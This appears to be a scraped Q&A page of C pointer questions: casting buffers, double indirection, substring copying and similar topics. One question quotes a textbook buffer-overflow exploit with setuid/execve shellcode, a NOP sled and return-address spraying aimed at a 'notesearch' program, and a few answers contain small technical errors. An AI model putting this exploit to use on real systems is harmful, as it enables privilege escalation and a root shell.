Casting integers as another char pointer - c

I'm testing the code below, but the output just says
ptr char = (null)
Any clue why this is happening?
int buf[1024];
buf[0] = 10;
buf[1] = 0;
buf[2] = 1992;
buf[3] = 42;
buf[4] = 5;
char *ptr;
ptr = (char*)buf+2;
printf("ptr char = %s\n",*ptr);
I just experimented on the above code so that I could know part by part what the code below would do.
here is the code I'm working on
int fillNSendHttpReq(int8u seq, char* domain, char* uri, char method, char* contentType, char* otherHeader, int contentLen, char* content, unsigned char timeout, char moreData, char isHttps)
{
int16u encodedLen = moreData?contentLen|0x8000:contentLen;
//if moredata = true then encodelen = contentlenBITWISEOR0x8000
char *ptr = NULL;
int8u buf[1024];
memset(buf, 0, sizeof(buf));
buf[0] = SNIC_HTTP_REQ;
buf[1] = seq;
*((int16u*)&buf[2]) = 0x5000; //swapped
buf[4] = method;
buf[5] = timeout;
if (isHttps) {
buf[0] = SNIC_HTTPS_REQ;//SNIC_HTTPS_REQ = 0
*((int16u*)&buf[2]) = 0xbb01; // 443 swapped
}
ptr = (char*)buf+6; //convert in8u to char * ???
ptr += sprintf(ptr, "%s", domain)+1; //ptr = ptr + strlen(domain)+1
ptr += sprintf(ptr, "%s", uri)+1;
ptr += sprintf(ptr, "%s", contentType)+1;
ptr += sprintf(ptr, "%s", otherHeader)+1;
*((int16u*)ptr) = swap16(encodedLen);
ptr += 2;
if (contentLen)
memcpy(ptr, content, contentLen);
serial_transmit(CMD_ID_SNIC, buf, ptr-(char*)buf+contentLen, ACK_NOT_REQUIRED);
return 0;
the part I don't understand is that ptr-(char*)buf+contentLenwas assigned to the variable defined as int and so that got me confused on where my content went which was a char.

int is of some size. When you add 2 to a char*, the pointer advances by two bytes; to advance it by the size of an int, you’d do (char*)(buf + 2). Two bytes past buf might be buf[1], or it might be half of buf[0], but apparently it points to zero, because that’s what you get by dereferencing ptr later – NULL is 0. When passing a string to printf, you don’t dereference it first.
I don’t really know how to fix that part, though, because it just doesn’t make a lot of sense. If your code is close to your intent, then this is probably what it should be:
char *ptr = (char*)(buf + 2);
printf("ptr char = %s\n", ptr);
in which case it’ll print either zero or one characters with your example buf.

char *ptr;
ptr = (char*)buf+2;
printf("ptr char = %s\n",*ptr);
ptr is a char pointer, so *ptr is the character it points to. You passed a character as parameter while the printf is waiting for a "string" (char pointer) so it crashed
Previously you have assigned ptr = (char*)buf+2; so ptr is now pointing to halfway between buff[0] and buff[1], and *ptr == 0 (since buf[0] = 10;, the third byte in buff is zero regardless of endianness, assuming sizeof(int) >= 4), so it represents a NULL value when printf reads it as a pointer. That's why you see the output
Use this
printf("ptr char = %s\n", ptr);
But then you'll see another empty output since ptr[0] is now '\0'

Related

How does C do arithmetic to the left of '='?

I'm working through "The art of exploitation", and there's the following C program that I don't fully understand the syntax of.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
Now, inside the for loop, there's one line which, I guess, stores the return address in buffer+i? But where does that value get saved? buffer or i? How does this code even work?
For any pointer or array p and index i, the expression *(p + i) is exactly equal to p[i]. From this follows that p + i is a pointer to the i:th element of p, which is then &p[i].
Assuming you're asking about *((unsigned int *)(buffer+i)), if we split it into its separate parts we have
buffer + i which from above we now know is equal to &buffer[i].
Then we have (unsigned int *) which is a plain cast, which tells the compiler to treat &buffer[i] as a pointer to an unsigned int.
Then lastly we have the dereference of that pointer, which yields the value being pointed to.
So the assignment writes the int value in ret to where &buffer[i] is pointing.
It could also help if we rewrite this using temporary variables:
char *buffer_ptr = buffer + i;
unsigned int *int_ptr = (unsigned int *) buffer_ptr;
int_ptr[0] = ret;
buffer is a pointer to char (char *).
In the following line, the developer casts buffer into a pointer to int, then performs pointer arithmetic by adding an offset of i integers, then deference this offset pointer and writes to that location the value stored in ret.
*((unsigned int *)(buffer+i)) = ret;
Example: assume int is 4byte long, and assume buffer points to address 0x100 (buffer = 0x100).
assume i = 10;
buffer+i then points to 0x100+10*(size of int) = 0x100+10*4 = 0x10E
ret is then written into the memory at address 0x10E
*((unsigned int *)(buffer+i)) = ret;
means
*((unsigned int*)(&(buffer[i]))) = ret;
In the code
*((unsigned int *)(buffer+i)) = ret;
buffer is of type char *, so pointer arithmetic (buffer+i) works using the type it points to, i.e, char. Also, while deferenencing the address held in buffer, it's of type char, as buffer is defined as a pointer to a char type.
Now, the address it produces as a result of buffer +i, is of type char *, i.e., to hold a char type. But, we want to store an unsigned int value (the value of ret variable), so there are two things done in the code:
i is increased by 4 in the loop (assuming the size of an unsigned int in 4 bytes)
the address, is cast to unsigned int *.
Then, the address is dereferenced to indicate the value at that address, and the unsigned int value of ret is stored there.

Getting char array value from a method by using pointer.

I have been trying to get the following to work:
My goal is to use pointers in main() to access elements created in a method().
// takes in address of pointer
int method(char** input) {
char *buffer = malloc(sizeof(char)*10);
buffer[0] = 0x12;
buffer[1] = 0x34;
buffer[2] = 0xab;
*input = & buffer;
printf("%x\n", *buffer); // this prints 0x12
printf("%x\n", &buffer); // this prints address of buffer example: 0x7fffbd98bf78
printf("%x\n", *input); // this prints address of buffer
return 0;
}
int main(){
char *ptr;
method(&ptr);
printf(%p\n", ptr); // this prints address of buffer
//this does not seem to print out buffer[0]
printf(%x\n", *ptr);
}
I want to print each element of buffer values, as created by the method() by using ptr. Any suggestions on how I can go about doing this?
I am not sure if I am misunderstanding something, but I thought ptr points to address of buffer. Thus, dereferencing would give me buffer[0]?
Thank you.
This a fixed & commented version of your code. Ask in the comments if there is smth. you don't understand.
#include <stdio.h>
#include <stdlib.h>
// takes in address of pointer
//Hex: 0xab is larger than the max value of a signed char.
//Most comilers default to signed char if you don't specify unsigned.
//So you need to use unsigned for the values you chose
int method(unsigned char** input) { //<<< changed
unsigned char *buffer = malloc(sizeof(char)*10);
//Check for malloc success <<< added
if(!buffer)
exit(EXIT_FAILURE);
buffer[0] = 0x12;
buffer[1] = 0x34;
buffer[2] = 0xab;
//I recommend not to mix array notation and pointer notation on the same object.
//Alternatively, you could write:
*buffer = 0x12;
*(buffer + 1) = 0x34;
*(buffer + 2) = 0xab;
//buffer already contains the address of your "array".
//You don't want the address of that address
*input = buffer; //<<< changed (removed &)
printf("%x\n", *buffer); // this prints 0x12
//Not casting &buffer will likely work (with compiler warnings
//But it is better to conform. Either use (char *) or (void *)
//<<< added the cast for printf()
printf("%p\n", (char *)&buffer); // this prints address of buffer example: 0x7fffbd98bf78
printf("%p\n", *input); // this prints address of buffer
return 0;
}
int main(){
unsigned char *ptr;
method(&ptr);
printf("%p\n", ptr); // this prints address of buffer
//this does not seem to print out buffer[0]
for(int i = 0; i < 3; i++){
//<<< changed to obtain content of buffer via ptr for loop.
unsigned char buf_elem = *(ptr + i);
printf("buffer[%d] in hex: %x\t in decimal: %d\n", i, buf_elem, buf_elem);
}
// Don't forget to free the memory. //<<< changed
free(ptr);
}

Decrease pointer until it points to the first element of array

I use *ptr to iterate a char array from end to beginning (one byte at the time) and set some values in the way. When the pointer points to the first address the algorithm should stop.
char *buf = (char*)malloc(sizeof(char) * 3 + 1);
char *ptr = &buf[sizeof buf - 1]; // *ptr point to the last address
*ptr = '\0';
do {
if(alfa) {
*(--ptr) = "teststring"[alfa]; // *ptr decreases value by one
alfa -= i;
} else { *(--ptr) = 'N'; }
} while(*ptr != &buf[0]); // should check if *ptr is now pointing to the start of buf. If that's the case, stop.
But, after it check the addresses are equal, it gives me:
** stack smashing detected **: <unknown> terminated
Aborted (core dumped)
Another (and maybe relatable) thing is: malloc should allocate 4 bytes from memory, but when I check sizeof(buf) it has 8 bytes(?).
Note: The output of sizeof(char) * 3 + 1 is indeed 4. But it's not the same as sizeof(buf).
sizeof some_variable evaluates to the size of a variable.
So this sizeof buf evaluates to the size of buf. With buf being a pointer it gives you either 4 or 8 depending whether the code is compiled on a 32 or 64 bit platform.
To fix your problem change this
char *buf = (char*)malloc(sizeof(char) * 3 + 1);
char *ptr = &buf[sizeof buf - 1];
to this
size_t size = sizeof(char) * 3 + 1;
char *buf = malloc(size); /* No need to cast void-pointer sin C. */
char *ptr = &buf[size - 1]; // *ptr point to the last address
Taking into account that sizeof (char) equals 1 by definition just do:
size_t size = 3 + 1;
char *buf = malloc(size);
char *ptr = &buf[size - 1];
The first answer is right, but also, your last test:
while(*ptr != &buf[0]);
Isn't checking that ptr is not at the first position in the buffer. That would be ptr != &buf[0] or just ptr != buf.
You are seeing if the data at pointer (*ptr) is unequal to the the location of the beginning of the buffer, thereby comparing a char to a pointer. Your compiler is probably giving you a warning about it. Don't ignore warnings in C.

Basic help needed with pointers (double indirection)

I asked some time ago on an account I can't remember how to manipulate basic pointers and someone gave me a really good demo
for example
char *ptr = "hello" (hello = a char array)
so now *ptr is pointing at 'h'
ptr++ means moving the ptr to point at the next element, to get its value I do *ptr and that gives me e
ok so far everything works as I hope :D, but now I need to manipulate a char **ptr and was wondering how I do this in a way that mimics the effects of a 2d array?
Some basic tips would be much appreciated as I need to do an assignment that has a **ptr to imitate a 2d array and without knowing how it does this first means I can't even solve it on paper (for example, how do you dereference a **ptr, how do you get [x][y] values etc)
thanks
You can subscript a pointer the same way you can subscript an array, provided all the addresses have been set up correctly.
Assuming the following declaration:
char **ptr;
here are the types of the various expressions:
Expression Type Equivalent expressions (yield same value)
---------- ---- -----------------------------------------
ptr char ** &ptr[0]
*ptr char * ptr[0]
*(ptr+i) char * ptr[i]; &ptr[i][0]
**ptr char ptr[0][0]
*(*(ptr+i)) char ptr[i][0]; *ptr[i]
*(*(ptr+i)+j) char ptr[i][j]
thus:
ptr can be treated as though it was an array of strings (2-d array of char)
ptr[i] points to the beginning of the i'th string in the list
ptr[i][j] is the value of the j'th character of the i'th string in the list
The expressions ptr++ and ++ptr will advance ptr to point to the next string
The expressions (*ptr)++ and ++(*ptr) will advance *ptr to point to the next character
As for setting up your pointers, this arrangement assumes everything has already been allocated as static arrays or dynamically through malloc. You cannot just write
char **ptr = {"foo", "bar", "bletch"}; // using aggregate initializer on
// non-aggregate type; bad juju,
// a.k.a undefined behavior
or
char **ptr; // ptr has not been initialized to point anywhere
ptr[0] = "foo"; // dereferencing ptr via subscript invokes undefined
ptr[1] = "bar"; // behavior
ptr[2] = "bletch";
Generally, when you're using a pointer as though it was an array, you'll use malloc or something similar to allocate your buffers:
char **ptr = malloc(sizeof *ptr * N);
if (ptr)
{
ptr[0] = "foo"; // ptr[i] gets address of
ptr[1] = "bar"; // string literal
ptr[2] = "bletch";
...
}
or
char **ptr = malloc(sizeof *ptr * N);
if (ptr)
{
size_t i;
for (i = 0; i < N; i++)
{
ptr[i] = malloc(sizeof *ptr[i] * M); // strictly speaking, the sizeof
if (ptr[i]) // is not necessary here
{
//initialize ptr[i]
}
}
}
A pointer to a pointer is just that. For example:
// Declare our double-indirection pointer.
char** ptr;
// And initialize it:
char s1[] = "hello";
char s2[] = "world";
ptr = malloc(sizeof(char*) * 2);
ptr[0] = s1;
ptr[1] = s2;
// ptr now points to a pointer that points to 'h'.
char* ptr2 = *ptr;
// ptr2 points to 'h'.
char* ptr3 = *(ptr + 1);
// ptr3 points to "w".
char c = **ptr; // could be written as *(*ptr)
// c = 'h'.
char c2 = *(*(ptr + 1));
// c2 = 'w'.
char c3 = *(*(ptr) + 1);
// c3 = 'e'.
You may use them as you would a normal two-dimensional array. (Since effectively, that's what they are)
char** ptr = {"lorem", "ipsum", "dolor"};
char* s1 = ptr[0]; //Points to the beginning of "lorem"
char* s2 = ptr[1]; //Points to the beginning of "ipsum"
char c = ptr[2][4]; //Contains 'r'
This is due to the fact that:
int *a;
//...
int i = a[6];
int j = *(a + 6); //Same as previous line!
Cheers,
Amit Ron--

Homework: In C, how does one get a substring of an array using only pointers?

Using pointer arithmetic, it's possible to assign characters from one array to another. My question is, how does one do it given arbitrary start and stop points?
int main(void)
{
char string1[] = "something"; //[s][o][m][e][t][h][i][n][g][\0]
int start = 2, count = 3;
char string2[10] = {0};
char *ptr1 = &string1[start];
char *ptr2 = string2;
while (*ptr2++ = *ptr1++) { } //but stop after 3 elements???
printf("%s",&string2);
}
There's some kind of pointer arithmetic I'm missing to count/test the quantity of elements in a particular array. I do NOT want to declare an integral to count the loop! I want to do it all using pointers. Thanks!
When you write ptr1++;, it is equivalent to ptr1 = ptr1 + 1;. Adding an integer to a pointer moves the memory location of the pointer by the size (in bytes) of the type being pointed to. If ptr1 is a char pointer with value 0x5678 then incrementing it by one makes it 0x5679, because sizeof(char) == 1. But if ptr1 was a Foo *, and sizeof(Foo) == 12, then incrementing the pointer would make its value 0x5684.
If you want to point to an element that is 3 elements away from an element you already have a pointer to, you just add 3 to that pointer. In your question, you wrote:
char *ptr1 = &string1[start]; // array notation
Which is the same thing as:
char *ptr1 = string1 + start; // pointer arithmetic
You could rewrite as follows:
int main(void)
{
char string1[] = "something"; //[s][o][m][e][t][h][i][n][g][\0]
int start = 2, count = 3;
char string2[10] = {0};
// Ensure there is enough room to copy the substring
// and a terminating null character.
assert(count < sizeof(string2));
// Set pointers to the beginning and end of the substring.
const char *from = string1 + start;
const char *end = from + count;
// Set a pointer to the destination.
char *to = string2;
// Copy the indicated characters from the substring,
// possibly stopping early if the end of the substring
// is reached before count characters have been copied.
while (from < end && *from)
{
*to++ = *from++
}
// Ensure the destination string is null terminated
*to = '\0';
printf("%s",&string2);
}
Using const and meaningful variable names (from, to, or src, dst, instead of ptr1, ptr2) helps you avoid mistakes. Using assert and ensuring the string is null-terminated helps you avoid having to debug segfaults and other weirdness. In this case the destination buffer is already zeroed, but when you copy parts of this code to use in another program it may not be.
#include <stdio.h>
int main(void)
{
char string1[] = "something"; //[s][o][m][e][t][h][i][n][g][\0]
int start = 2, count = 3;
char string2[10] = {0};
char *ptr1 = &string1[start];
char *stop = ptr1 + count;
char *ptr2 = string2;
while ((ptr1 < stop) && (*ptr2++ = *ptr1++));
printf("%s",string2);
return 0;
}
I usually use a specific set of variable names in these situations, called:
src - source
dst - destination
end - the end of either the source (used here) or the destination
So:
int main(void)
{
char string1[] = "something";
int start = 2;
int count = 3;
char string2[10] = {0};
const char *src = &string1[start];
const char *end = &string1[start+count];
char *dst = string2;
assert(count < sizeof(string2);
while (src < end)
*dst++ = *src++;
*dst = '\0'; // Null-terminate copied string!
printf("%s",&string2);
return(0);
}
Or, more plausibly, packaged as a function:
char *copy_substr(char *dst, const char *str, size_t start, size_t len)
{
const char *src = str + start;
const char *end = src + len;
while (src < end)
*dst++ = *src++;
*dst = '\0';
return(dst);
}
int main(void)
{
char string1[] = "something";
char *end;
char string2[10] = {0};
end = copy_substr(string2, string1, 2, 3);
printf("%s",&string2);
return(0);
}
The function returns a pointer to the end of the string which is aconventional and doesn't provide a marked benefit in the example, but which does have some merits when you are building a string piecemeal:
struct substr
{
const char *str;
size_t off;
size_t len;
};
static struct substr list[] =
{
{ "abcdefghijklmnopqrstuvwxyz", 2, 5 },
...
{ "abcdefghijklmnopqrstuvwxyz", 18, 3 },
};
int main(void)
{
char buffer[256];
char *str = buffer;
char *end = buffer + sizeof(buffer) - 1;
size_t i;
for (i = 0; i < 5; i++)
{
if (str + list[i].len >= end)
break;
str = copy_substr(str, list[i].str, list[i].off, list[i].len);
}
printf("%s\n", buffer);
return(0);
}
The main point is that the return value - a pointer to the NUL at the end of the string - is what you need for string concatenation operations. (In this example, with strings that have known lengths, you could survive without this return value without needing to use strlen() or strcat() repeatedly; in contexts where the called function copies an amount of data that cannot be determined by the calling routine, the pointer to the end is even more useful.)
In order to get the size (i.e. number of elements) in a static array, you would usually do
sizeof(string1) / sizeof(*string1)
which will divide the size (in bytes) of the array by the size (in bytes) of each element, thus giving you the number of elements in the array.
But as you're obviously trying to implement a strcpy clone, you could simply break the loop if the source character *ptr1 is '\0' (C strings are zero-terminated). If you only want to copy N characters, you could break if ptr1 >= string1 + start + count.

Resources